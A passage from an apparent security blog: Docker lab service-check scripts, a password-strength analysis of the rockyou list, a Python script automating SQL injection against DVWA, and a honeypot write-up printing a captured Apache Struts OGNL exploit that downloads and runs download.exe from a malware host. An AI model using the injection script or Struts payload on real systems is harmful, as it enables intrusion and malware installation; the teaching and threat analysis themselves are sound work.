f.write(apacheServer + ' apache2 is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for syslogServer in ['web1srv', 'blue', 'red', 'db1srv', 'africa']:
result = subprocess.run(['docker', 'exec', syslogServer, '/etc/init.d/rsyslog', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* rsyslogd is running" == result:
f.write('
')
f.write(syslogServer + ' rsyslog is Online and Working')
f.write('
')
else:
f.write('
')
f.write(syslogServer + ' rsyslog is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', syslogServer, '/etc/init.d/rsyslog', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* rsyslogd is running" == result:
f.write('
')
f.write(syslogServer + ' rsyslog is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(syslogServer + ' rsyslog is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for sshServer in ['africa']:
result = subprocess.run(['docker', 'exec', sshServer, '/etc/init.d/ssh', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* sshd is running" == result:
f.write('
')
f.write(sshServer + ' ssh is Online and Working')
f.write('
')
else:
f.write('
')
f.write(sshServer + ' ssh is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', sshServer, '/etc/init.d/ssh', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* sshd is running" == result:
f.write('
')
f.write(sshServer + ' ssh is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(sshServer + ' ssh is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for smbServer in ['two']:
result = subprocess.run(['docker', 'exec', smbServer, '/etc/init.d/smbd', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* smbd is running" == result:
f.write('
')
f.write(smbServer + ' smb is Online and Working')
f.write('
')
else:
f.write('
')
f.write(smbServer + ' smb is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', smbServer, '/etc/init.d/smbd', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* smb is running" == result:
f.write('
')
f.write(smbServer + ' smb is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(smbServer + ' smb is Broken with something Fatal... Restart VM and try again...')
f.write('
')
f.write('</body></html>')
f.close()
</code></pre>
<br />
Here is a quick script I wrote to save the docker images that I created.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/bin/bash
for i in d-anchor-cmsv12 d-nikto-potv2 d-apache2-backupv4 mariadbv9 d-initial d-sambav2 d-rsyslogv6
do
docker save --output $i.tar $i
done
</code></pre>
<br />
<br />
<br />
<br />
<br />thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-29326233653144516142019-03-17T16:49:00.001-06:002019-03-19T21:26:02.233-06:00Password Requirements EvaluationI am often asked to evaluate a list of passwords. The evaluation sometimes goes like this, how many passwords only have upper, lower-case, and numeric passwords and not special characters. Below is a script to evaluate a list of passwords for this and length of the passwords. This script does not handle unicode characters being in the passwords.
<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/usr/bin/python3
# Script to Evaluate the Strength of Passwords and Length
import re
f = open("temp.txt", encoding="utf-8", errors="ignore")
countNumeric = 0
countLowerCase = 0
countLowerCaseNumber = 0
countUpperCase = 0
countUpperCaseNumber = 0
countUpperLowerCase = 0
countUpperLowerCaseNumber = 0
countUpperLowerCaseNumberSpecial = 0
countTotal = 0
lengthLess8 = 0
length8to12 = 0
length13to16 = 0
length17to20 = 0
length21to32 = 0
length33up = 0
for line in f:
line = line.strip()
strLength = len(line)
# All lower-case password
numericExpression = '^[0-9]{' + str(strLength) + '}$'
if re.match(numericExpression, line): countNumeric += 1
lowerCaseExpression = '^[a-z]{' + str(strLength) + '}$'
if re.match(lowerCaseExpression, line): countLowerCase += 1
lowerCaseNumericExpression = '^[a-z0-9]{' + str(strLength) + '}$'
if re.match(lowerCaseNumericExpression, line): countLowerCaseNumber += 1
upperCaseExpression = '^[A-Z]{' + str(strLength) + '}$'
if re.match(upperCaseExpression, line): countUpperCase += 1
upperCaseNumberExpression = '^[A-Z0-9]{' + str(strLength) + '}$'
if re.match(upperCaseNumberExpression, line): countUpperCaseNumber += 1
upperLowerCaseExpression = '^[A-Za-z]{' + str(strLength) + '}$'
if re.match(upperLowerCaseExpression, line): countUpperLowerCase += 1
upperLowerCaseNumericExpression = '^[A-Za-z0-9]{' + str(strLength) + '}$'
if re.match(upperLowerCaseNumericExpression, line): countUpperLowerCaseNumber += 1
upperLowerCaseNumericSpecialExpression = '^[A-Za-z0-9,.!@#$%^&?\[\]<>*_\-=+ \'"()`\.,;:/\\x5c~|]{' + str(strLength) + '}$' # \x5c = \
if re.match(upperLowerCaseNumericSpecialExpression, line):
countUpperLowerCaseNumberSpecial += 1
#else:
# print(line)
if len(line) < 8: lengthLess8 += 1
if len(line) >= 8 and len(line) <= 12: length8to12 += 1
if len(line) >= 13 and len(line) <= 16: length13to16 += 1
if len(line) >= 17 and len(line) <= 20: length17to20 += 1
if len(line) >= 21 and len(line) <= 32: length21to32 += 1
if len(line) >= 33: length33up += 1
countTotal += 1
#print(line)
print("Total Passwords in List: " + str(countTotal))
print("All numeric only passwords: " + str(countNumeric))
print("All lower-case only passwords: " + str(countLowerCase))
print("All lower-case and numeric only passwords: " + str(countLowerCaseNumber - countNumeric - countLowerCase))
print("All upper-case only passwords: " + str(countUpperCase))
print("All upper-case and numeric only passwords: " + str(countUpperCaseNumber - countUpperCase - countNumeric))
print("All upper-case and lower-case only passwords: " + str(countUpperLowerCase - countUpperCase - countLowerCase))
print("All upper-case, lower-case and numeric only passwords: " + str(countUpperLowerCaseNumber - (countUpperLowerCase - countUpperCase - countLowerCase) - (countLowerCaseNumber - countLowerCase - countNumeric) - (countUpperCaseNumber - countUpperCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("All upper-case, lower-case, numeric and special chars only passwords: " + str(countUpperLowerCaseNumberSpecial - (countUpperLowerCaseNumber - countUpperCase - countLowerCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("Unaccounted for Passwords with RegEx's: " + str(countTotal - countUpperLowerCaseNumberSpecial))
print()
print("Password Length < 8: " + str(lengthLess8))
print("Password Length 8 to 12: " + str(length8to12))
print("Password Length 13 to 16: " + str(length13to16))
print("Password Length 17 to 20: " + str(length17to20))
print("Password Length 21 to 32: " + str(length21to32))
print("Password Length 33 and up: " + str(length33up))
</code></pre>
<br />
With the above script I ran it against the rockyou list and received the following statistics (I put in the comma's):<br />
<br />
Total Passwords in List: 14,344,391<br />All numeric only passwords: 2,346,874<br />All lower-case only passwords: 3,726,802<br />All lower-case and numeric only passwords: 6,075,066<br />All upper-case only passwords: 229,917<br />All upper-case and numeric only passwords: 407,421<br />All upper-case and lower-case only passwords: 159,318<br />All upper-case, lower-case and numeric only passwords: 382,270<br />All upper-case, lower-case, numeric and special chars only passwords: 1,001,182<br />Unaccounted for Passwords with RegEx's: 15,541<br /><br />Password Length < 8: 4,737,460<br />Password Length 8 to 12: 8,593,633<br />Password Length 13 to 16: 891,426<br />Password Length 17 to 20: 88,173<br />Password Length 21 to 32: 31,576<br />Password Length 33 and up: 2,123<br />
<br />
<br />thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-76186531757068652882019-01-31T23:32:00.002-07:002019-01-31T23:34:53.697-07:00SQL Injection - Using SQL to be EfficientIn a recent class that I was teaching we were talking about SQL injection. The example and script that I provided the class was trying every character from a to z and if the response was successful then you moved onto the next character.<br />
<br />
For example if I use the below query:<br />
<br />
SELECT * FROM users WHERE user = '<input>' and password = '<input>';<br />
<br />
In the above query the <input> would not be sanitized and you could manipulate the query. Using DVWA they use this query in the "Brute Force" section under "Low" security.<br />
<br />
Here is an example that I have of how SQL injection can be done in the above query to bypass the login:<br />
<br />
SELECT * FROM users WHERE user = '<b>a' OR user LIKE 'a%' OR user = 'b</b>' and password = 'anything';<br />
<br />
We could use the above query and go through each character in the alphabet to find the second letter. This would result in up to 26 queries to find the next letter. So with the username of "admin" it would take ~41 queries.<br />
<br />
Let's try and be more efficient using SQL. Let's examine the following query:<br />
<br />
SELECT * FROM users WHERE user = '<b>a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b</b>' and password = 'anything';<br />
<br />
The query takes the next letter and checks to see if it is in a range of characters. Then it decreases the range until it is within 3-4 queries of the actual letter. With the above query to find the name of admin it takes a total of 27 queries given the first letter is an "a" would be 28 queries total. Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:<br />
<br />
Username: admin QueryCount: 27<br />
Username: gordonb QueryCount: 36<br />
Username: pablo QueryCount: 23<br />
Username: smithy QueryCount: 36<br />
<br />
Below is the code that I created to show how using SQL in the query to make it more efficient.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/usr/bin/python3
# cat temp | grep "Failed" | grep -v "QueryCount: 1" | grep "FirstLetter: a SecondLetter: m"
import urllib.parse
import urllib.request
def establishHeaders():
# You will need to update the PHPSESSID wit a valid session number
h = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Referer': 'http://typhoon.local/dvwa/vulnerabilities/brute/',
'Cookie': 'security=low; PHPSESSID=mbco2831mgi1p93dnk35gkbd97',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Host': 'typhoon.local' }
return h
def parseHTML(h):
for line in h:
if "<pre>" in line:
line = line.replace("<pre>
","").replace("</pre>","").replace("\t","")
return "No"
elif "Welcome to the password protected area" in line:
return "Yes"
#else:
# print(line)
def main(letterPassed):
print("Exploiting BVWA - Brute Force - Low Setting")
print("-------------------------------------------")
# SQL Injection goes between url1 and url2 -- url1 + injection + url2
url1 = "http://typhoon.local/dvwa/vulnerabilities/brute/?username="
url2 = "&password=x&Login=Login"
headers = establishHeaders()
case = "Go"
usernameSegment=letterPassed
usernameSegmentCount = 1 # Characters in usernameSegment
firstletter='a'
secondletter='m'
queryCount=0
while case != "Quit":
# Automating the SQL Injection with the following
# a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b
# Assumes the first letter of the username is "a" for now...
sqlinject = "a' OR ((SUBSTRING(user, 1, " + str(usernameSegmentCount) + ") = '" + usernameSegment + "') AND ((SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) >= '" + firstletter + "') AND (SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) <= '" + secondletter + "'))) OR user = 'b"
sql = "SELECT * FROM users WHERE user = '" + sqlinject + "' AND password = ''"
#print("\n\nSQL: "+ sql)
sqlinject = sqlinject.replace("%", "%25").replace(" ", "+").replace("'", "%27")
#postData = urllib.parse.urlencode(data)
#postData = postData.encode('ascii')
url = url1 + sqlinject + url2
#print("\nURL: " + url)
data = bytes('', 'ascii')
req = urllib.request.Request(url, data, headers)
with urllib.request.urlopen(req) as response:
output = response.read()
html = output.decode('ascii').split('\n')
successful = parseHTML(html)
queryCount += 1
if successful == "Yes" and firstletter=='a' and secondletter=='m': # if a-m then a-g
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='g'
elif successful == "No" and firstletter=='a' and secondletter=='m': # if not a-m then n-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='z'
elif successful == "Yes" and firstletter=='n' and secondletter=='z': # if n-z then n-t
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='t'
elif successful == "No" and firstletter=='n' and secondletter=='t': # if n-z and not n-t then u-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='z'
elif successful == "Yes" and firstletter=='u' and secondletter=='z': # if n-z and u-z then u-w
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='w'
elif successful == "No" and firstletter=='u' and secondletter=='w': # if n-z and u-z and not u-w then x-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='x'
secondletter='z'
elif successful == "Yes" and firstletter=='x' and secondletter=='z': # if n-z and u-z and x-z then x
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='x'
secondletter='x'
elif successful == "No" and firstletter=='x' and secondletter=='x': # if n-z and u-z and x-z and not x then y
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='y'
secondletter='y'
elif successful == "No" and firstletter=='y' and secondletter=='y': # if n-z and u-z and x-z and not y then z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='z'
secondletter='z'
elif successful == "Yes" and firstletter=='u' and secondletter=='w': # if n-z and u-z and u-w then u
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='u'
elif successful == "No" and firstletter=='u' and secondletter=='u': # if n-z and u-z and u-w and not u then v
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='v'
secondletter='v'
elif successful == "No" and firstletter=='v' and secondletter=='v': # if n-z and u-z and u-w and not v then w
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='w'
secondletter='w'
elif successful == "Yes" and firstletter=='n' and secondletter=='t': # if n-t then n-q
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='q'
elif successful == "Yes" and firstletter=='n' and secondletter=='q': # if n-q then n
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='n'
elif successful == "No" and firstletter=='n' and secondletter=='n': # if n-q and not n then o
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='o'
secondletter='o'
elif successful == "No" and firstletter=='o' and secondletter=='o': # if n-q and not o then p
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='p'
secondletter='p'
elif successful == "No" and firstletter=='p' and secondletter=='p': # if n-q and not p then q
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='q'
secondletter='q'
elif successful == "No" and firstletter=='n' and secondletter=='q': # if n-t and not n-q then r-t
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='r'
secondletter='t'
elif successful == "Yes" and firstletter=='r' and secondletter=='t': # if n-t and r-t then r
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='r'
secondletter='r'
elif successful == "No" and firstletter=='r' and secondletter=='r': # if n-t and r-t and not r then s
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='s'
secondletter='s'
elif successful == "No" and firstletter=='s' and secondletter=='s': # if n-t and r-t and not s then t
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='t'
secondletter='t'
elif successful == "Yes" and firstletter=='n' and secondletter=='q': # if n-q then n
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='n'
elif successful == "Yes" and firstletter=='a' and secondletter=='g': # if a-m and a-g then a-d
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='d'
elif successful == "No" and firstletter=='a' and secondletter=='g': # if a-m and not a-g then h-m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='m'
elif successful == "Yes" and firstletter=='h' and secondletter=='m': # if a-m and h-m then h-j
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='j'
elif successful == "No" and firstletter=='h' and secondletter=='j': # if a-m and h-m not h-j then k-m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='k'
secondletter='m'
elif successful == "Yes" and firstletter=='k' and secondletter=='m': # if a-m and h-m and k-m then k
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='k'
secondletter='k'
elif successful == "No" and firstletter=='k' and secondletter=='k': # if a-m and h-m and k-m not k then l
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='l'
secondletter='l'
elif successful == "No" and firstletter=='l' and secondletter=='l': # if a-m and h-m and k-m not l then m
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='m'
secondletter='m'
elif successful == "Yes" and firstletter=='h' and secondletter=='j': # if a-m and h-m and h-j then h
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='h'
secondletter='h'
elif successful == "No" and firstletter=='h' and secondletter=='h': # if a-m and h-m and h-j not h then i
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='i'
secondletter='i'
elif successful == "No" and firstletter=='i' and secondletter=='i': # if a-m and h-m and h-j not i then j
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='j'
secondletter='j'
elif successful == "Yes" and firstletter=='a' and secondletter=='d': # if a-m and a-g and a-d then a
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='a'
elif successful == "No" and firstletter=='a' and secondletter=='a': # if a-m and a-g and a-d not a then b
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='b'
secondletter='b'
elif successful == "No" and firstletter=='b' and secondletter=='b': # if a-m and a-g and a-d not b then c
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='c'
secondletter='c'
elif successful == "No" and firstletter=='c' and secondletter=='c': # if a-m and a-g and a-d not c then d
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='d'
secondletter='d'
elif successful == "Yes" and firstletter==secondletter: # if a-m and a-g and a-d then d
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
usernameSegment = usernameSegment + firstletter
firstletter='a'
secondletter='m'
usernameSegmentCount += 1
else:
comment = "Finished!"
case = "Quit"
print(comment)
for letter in 'abcdefghijklmnopqrstuvwxyz':
main(letter)
</code></pre>
<br />
<br />
bthepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-25719725799371694422018-12-08T22:27:00.000-07:002018-12-09T07:14:14.333-07:00Monero Mining Malware from HoneypotRecently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Server. Below is the GET request that was captured:<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
SrcIP:182.247.95.237
HTTPCode:200
HTTPVerb:GET
URI:/index.do
UserAgent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Headers:
Cache-Control:no-cache,
Connection:Keep-Alive,
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/5.vbs&
echo Set Shell = CreateObject("Wscript.Shell") >>C:/5.vbs&
echo Post.Open "GET","http://a46.bulehero.in/download.exe",0 >>C:/5.vbs&echo Post.Send() >>C:/5.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/5.vbs&echo aGet.Mode = 3 >>C:/5.vbs&echo aGet.Type = 1 >>C:/5.vbs&echo aGet.Open() >>C:/5.vbs&echo aGet.Write(Post.responseBody) >>C:/5.vbs&echo aGet.SaveToFile "C:/Windows/temp/download.exe",2 >>C:/5.vbs&echo wscript.sleep 10000>>C:/5.vbs&echo Shell.Run ("C:/Windows/temp/download.exe")>>C:/5.vbs&C:/5.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())},
Accept:text/html, application/xhtml+xml, */*,
Accept-Encoding:gbk, GB2312,
Accept-Language:zh-cn,
Host:x.x.x.x:8000
</code></pre>
<br />
As you can see above a file is downloaded from a46.bulehero.in. The domain registration is through GoDaddy. Below is the whois record that I found. I find it fascinating that the Organization and State/Province is probably random keystrokes from a bot.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
Domain Name BULEHERO.IN
Registry Domain ID D414400000006028492-AFIN
Registrar URL www.godaddy.com
Updated Date 2018-11-01T10:56:24Z
Creation Date 2018-05-09T11:12:14Z
Registry Expiry Date 2020-05-09T11:12:14Z
Registrar GoDaddy.com, LLC
Registrar IANA ID 146
Registrar Abuse Contact Email abuse@godaddy.com
Registrar Abuse Contact Phone +1.4806242505
...
Registrant Organization zanwu
Registrant State/Province uysf
Registrant Country AZ
</code></pre>
<br />
Other subdomains that are associated with this malware that I have found with the associated IP Address and organization that they are associated with:<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
a45.bulehero.in - 139.162.27.37 - Linode LLC in Singapore
a46.bulehero.in - 139.162.74.150 - Linode LLC in US
a47.bulehero.in - 23.239.7.210 - Linode LLC in US
a48.bulehero.in - 139.162.74.150 - Linode LLC in US
a88.bulehero.in - 139.162.71.92 - Linode LLC in US
support@linode.com
</code></pre>
Now going back to the download.exe file that is downloaded. Evaluating the file we find that it is a Windows x86 binary.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCbF3CSqFx9IcA3bRI5huLhY3lr0Ma1nJa71fXXfgSz-EVTk2u-XZOr-yelrWywp5YZ7QpHL2mg2OtAS3Z71KRr1ioijBxo_ng8Pk3mMxB4jCQBqm67ytD2Ur6nMaZ49FjzvvS977ArI/s1600/Capture1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="807" height="44" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCbF3CSqFx9IcA3bRI5huLhY3lr0Ma1nJa71fXXfgSz-EVTk2u-XZOr-yelrWywp5YZ7QpHL2mg2OtAS3Z71KRr1ioijBxo_ng8Pk3mMxB4jCQBqm67ytD2Ur6nMaZ49FjzvvS977ArI/s640/Capture1.PNG" width="640" /></a></div>
<br />
Using the command "upx -d" on the file it decompresses it so that we can look at the binary. I copied the original file of download.exe to original_download.exe becasue the upx -d command will overwrite the file in-place with the decompressed file.<br />
<br />
Looking at the code you can tell that it has backdoor capabilities after it is installed, has the capability to send emails, and much more. Within the strings of the output you can see that it downloads another file as shown below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
